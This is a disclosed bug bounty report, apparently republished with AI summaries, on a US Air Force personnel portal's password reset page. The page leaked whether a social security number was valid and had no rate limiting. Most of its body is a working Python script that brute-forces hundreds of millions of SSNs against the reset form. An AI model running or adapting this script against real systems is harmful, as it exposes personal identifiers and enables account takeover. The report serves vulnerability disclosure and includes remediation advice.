Lack of rate limiting in https://███/PKI/PassReset.aspx leads to PII disclosure and potential account takeover
The password reset page for AFPC Secure returned a distinct error message when a submitted social security number belonged to someone with an active PKI credential, and the page had no rate limiting. An attacker could enumerate social security numbers in bulk to identify Air Force personnel and, for accounts without PKI credentials, attempt to guess the mother's maiden name to trigger a reset.
Originally disclosed on HackerOne
- Triaged in 2 days
- Fixed in 9 days
- Disclosed after 26 days
The password reset functionality of AFPC Secure is intended to be used by users who do not have a PKI credential for AFPC secure. It allows a user to provide their SSAN and Mother's Maiden Name to reset their password. The issue lies in the fact that if an SSAN for a user with an active PKI credential is found, the system will inform the user of that fact with the following error message:
Your account was found, but our records indicate you are either Military, Civilian, or a Contractor with a CAC, which you must use to reset your password. For more information, please click the link above labeled "Help with accessing AFPCSecure using a CAC"
Additionally, there is no rate limiting done for this site, meaning an attacker can brute force through approximately 772,000,000 social security numbers to find SSANs for active U.S. Air Force personnel. Furthermore, if any SSANs are found that aren't tied to active PKI credentials (i.e. authorized UserId/Password users, POW-MIA Next of Kin users), an attacker could potentially trigger a password reset by brute forcing the mother's maiden name field (for example, going through most common last names).
Please see the steps to reproduce for a proof-of-concept script that brute forces SSANs with the password reset functionality.
Impact
This vulnerability can lead to the exposure of personally identifiable information for U.S. Air Force personnel, and can potentially lead to an account takeover in the right circumstances.
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
See the following Python script for a proof-of-concept. The script will brute force through 772,000,000 SSANs by default, you can adjust the minimum and maximum search range on line 87. Uncomment line 84 to do a single SSAN search.
import requests
from tqdm import tqdm
from bs4 import BeautifulSoup
import urllib
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Get all the hidden ASP.NET inputs
def __get_hidden_input(content):
""" Return the dict contain the hidden input
"""
tags = dict()
soup =BeautifulSoup(content, 'html.parser')
hidden_tags = soup.find_all('input', type='hidden')
# print(*hidden_tags)
for tag in hidden_tags:
tags[tag.get('name')] = tag.get('value')
return tags
url = "https://█████"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36"}
session = requests.Session()
# Simulate ASP.NET post back function
def doPostBack(url, data):
resp = session.get(url, headers=headers, verify=False)
asp_info = __get_hidden_input(resp.text)
asp_info.update(data)
return session.post(url, data=asp_info, headers=headers, verify=False)
# Click check portal button
data = {"btnOK": "OK"}
resp = doPostBack(url + "/CheckPortal.aspx", data)
# Go to forgot password page
data = {"__EVENTTARGET": "ctl00$cphPage$btnForgotPassword"}
resp = doPostBack(url + "/PKI/default.aspx", data)
# Go to password reset page
data = {"ctl00$cphPage$btnPOW": "Online Password Reset"}
resp = doPostBack(url + "/PKI/PassReset1.aspx", data)
print(resp.text)
# Get the ASP.NET inputs for the password reset page
asp_info = __get_hidden_input(resp.text)
def range_search(min=0, max=772000000):
for ssan in tqdm(range(min, max)):
data = asp_info
data["ctl00$cphPage$txtSSAN"] = str(ssan).zfill(9)
data["ctl00$phPage$txtMMN"] = "NONEXISTANT"
data["ctl00$cphPage$btnSubmit"] = "Submit"
resp = session.post(url + "/PKI/PassReset.aspx", data=data, verify=False, allow_redirects=False)
if resp.status_code != 200:
print(f"!! Error, resp code {resp.status_code}\n{resp.text}")
if ("SSAN Does not match a ssan in our records." not in resp.text):
print(f"[+] Found potential SSAN: {str(ssan).zfill(9)}")
def single_search(ssan):
data = asp_info
data["ctl00$cphPage$txtSSAN"] = str(ssan).zfill(9)
data["ctl00$phPage$txtMMN"] = "NONEXISTANT"
data["ctl00$cphPage$btnSubmit"] = "Submit"
resp = session.post(url + "/PKI/PassReset.aspx", data=data, verify=False, allow_redirects=False)
print(resp.text)
if resp.status_code != 200:
print(f"!! Error, resp code {resp.status_code}\n{resp.text}")
if ("SSAN Does not match a ssan in our records." not in resp.text):
print(f"[+] Found potential SSAN: {str(ssan).zfill(9)}")
# Single search, provide SSAN to test
#single_search(555001337)
# Range search, specify min/max to set range
range_search()
Suggested Mitigation/Remediation Actions
Implement a rate limit for https://███████/. Additionally, adjust the error message to not give out more information than necessary.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the reset form used a different error message for existing accounts and applied no rate limiting or lockout to repeated submissions.
Impact
This could expose personally identifiable information of U.S. Air Force personnel and could potentially lead to account takeover in the right circumstances.
What the attacker needed
No account needed; network access to the reset page
The fix
The site should rate limit the reset endpoint and return a generic error message that does not reveal whether an account exists.
How it was found
- Load the portal and click through the check portal button.
- Open the forgot password page and choose the online password reset option.
- Submit a social security number with a dummy mother's maiden name and observe the response.
- Repeat automatically across a range of numbers, flagging any response that is not the 'does not match' message.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A password reset form should give the same vague answer whether or not the details you type match a real account. Here it gave a special message when the social security number belonged to a real person with a government login card, and nothing slowed down repeated guesses. That let someone try millions of numbers and learn which ones are real people, and possibly reset some accounts by guessing a common family name.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.